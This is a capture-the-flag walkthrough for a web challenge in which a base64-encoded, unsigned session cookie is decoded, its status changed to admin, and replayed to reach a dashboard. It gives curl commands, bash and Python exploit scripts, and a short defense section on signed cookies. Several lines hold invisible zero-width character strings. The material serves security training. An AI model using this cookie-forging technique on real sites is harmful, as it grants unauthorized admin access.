Печеньки с молочком (Cookies with Milk)

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: base64_decode, cookie_tampering, privilege_escalation

Summary

Walkthrough of the CUSTOM Web Печеньки с молочком (Cookies with Milk). Task: Web login form sets base64-encoded session cookie with status field. Solution: Decode cookie, change status from regular to admin, re-encode and access admin dashboard to get flag.

Description

"Здесь собираются только самые изысканные ценители печенек и сладких угощений."

(Translation: "Only the most refined connoisseurs of cookies and sweet treats gather here.")

URL: http://tasks.duckerz.ru:30051

Analysis

1. Reconnaissance

The site presents a login form that accepts a username. After logging in, a session cookie is set.

 bash read-only • copy allowed Copy
curl -v -X POST -d "username=test" http://tasks.duckerz.ru:30051/login

The server returns a cookie:

Set-Cookie: session=eyJ1c2VybmFtZSI6ICJ0ZXN0IiwgInN0YXR1cyI6ICJyZWd1bGFyIn0=

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

2. Decoding the Cookie

The cookie looks like base64 (characteristic symbols, padding =). Let's decode it:

 bash read-only • copy allowed Copy
echo "eyJ1c2VybmFtZSI6ICJ0ZXN0IiwgInN0YXR1cyI6ICJyZWd1bGFyIn0=" | base64 -d

Result:

 json read-only • copy allowed Copy
{"username": "test", "status": "regular"}

3. Discovered Vulnerability

Insecure Session Management / Cookie Tampering

Critical issues:

• Cookie contains authorization data in plain text (base64 is encoding, NOT encryption)
• No signature (HMAC/signature) for integrity verification
• The status field directly controls access level
• Server trusts cookie data without verification ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Creating a Forged Admin Cookie

Change status from regular to admin:

 bash read-only • copy allowed Copy
echo -n '{"username": "test", "status": "admin"}' | base64

Result:

eyJ1c2VybmFtZSI6ICJ0ZXN0IiwgInN0YXR1cyI6ICJhZG1pbiJ9

Step 2: Accessing the Admin Dashboard

 bash read-only • copy allowed Copy
curl -b "session=eyJ1c2VybmFtZSI6ICJ0ZXN0IiwgInN0YXR1cyI6ICJhZG1pbiJ9" \
     http://tasks.duckerz.ru:30051/dashboard

Full Solution Script

 bash read-only • copy allowed Copy
#!/bin/bash
# solve.sh - Cookie tampering exploit for "Печеньки с молочком"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

TARGET="http://tasks.duckerz.ru:30051"

echo "[*] Step 1: Login as regular user"
COOKIE=$(curl -s -c - -X POST -d "username=hacker" "$TARGET/login" | grep session | awk '{print $7}')
echo "[+] Original cookie: $COOKIE"

echo "[*] Step 2: Decode cookie"
DECODED=$(echo "$COOKIE" | base64 -d)
echo "[+] Decoded: $DECODED"

echo "[*] Step 3: Forge admin cookie"
ADMIN_COOKIE=$(echo -n '{"username": "hacker", "status": "admin"}' | base64)
echo "[+] Admin cookie: $ADMIN_COOKIE"

echo "[*] Step 4: Access admin dashboard"
curl -s -b "session=$ADMIN_COOKIE" "$TARGET/dashboard" | grep -oE 'DUCKERZ\{[^}]+\}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Python Version

 python read-only • copy allowed Copy
#!/usr/bin/env python3
"""
Cookie Tampering Exploit
Task: Печеньки с молочком (duckerz CTF)
"""

import requests
import base64
import json

TARGET = "http://tasks.duckerz.ru:30051"

# Step 1: Login and get cookie
session = requests.Session()
session.post(f"{TARGET}/login", data={"username": "hacker"})

# Step 2: Decode original cookie
original_cookie = session.cookies.get("session")
decoded = base64.b64decode(original_cookie).decode()
print(f"[*] Original cookie decoded: {decoded}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 3: Forge admin cookie
data = json.loads(decoded)
data["status"] = "admin"
forged_cookie = base64.b64encode(json.dumps(data).encode()).decode()
print(f"[*] Forged admin cookie: {forged_cookie}")

# Step 4: Access dashboard with forged cookie
session.cookies.set("session", forged_cookie)
response = session.get(f"{TARGET}/dashboard")

# Extract flag
import re
flag = re.search(r'DUCKERZ\{[^}]+\}', response.text)
if flag:
    print(f"[+] FLAG: {flag.group()}")

Defense (for developers)

1. Use signed cookies (HMAC-SHA256)
2. Store sessions on the server (Redis, database)
3. Use established frameworks (Flask-Session, express-session)
4. JWT with signature verification (if stateless sessions are needed) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 python read-only • copy allowed Copy
# Example of secure session in Flask
from flask import Flask, session
app = Flask(__name__)
app.secret_key = 'cryptographically-secure-random-key'  # Generate via secrets.token_hex(32)

@app.route('/login', methods=['POST'])
def login():
    session['username'] = request.form['username']
    session['status'] = 'regular'  # Now signed!

References

• OWASP: Session Management Cheat Sheet
• CWE-565: Reliance on Cookies without Validation
• CWE-284: Improper Access Control ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

• Mastering base64_decode, cookie_tampering, privilege_escalation was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-01-09 • CUSTOM • Печеньки с молочком (Cookies with Milk) • Difficulty: Easy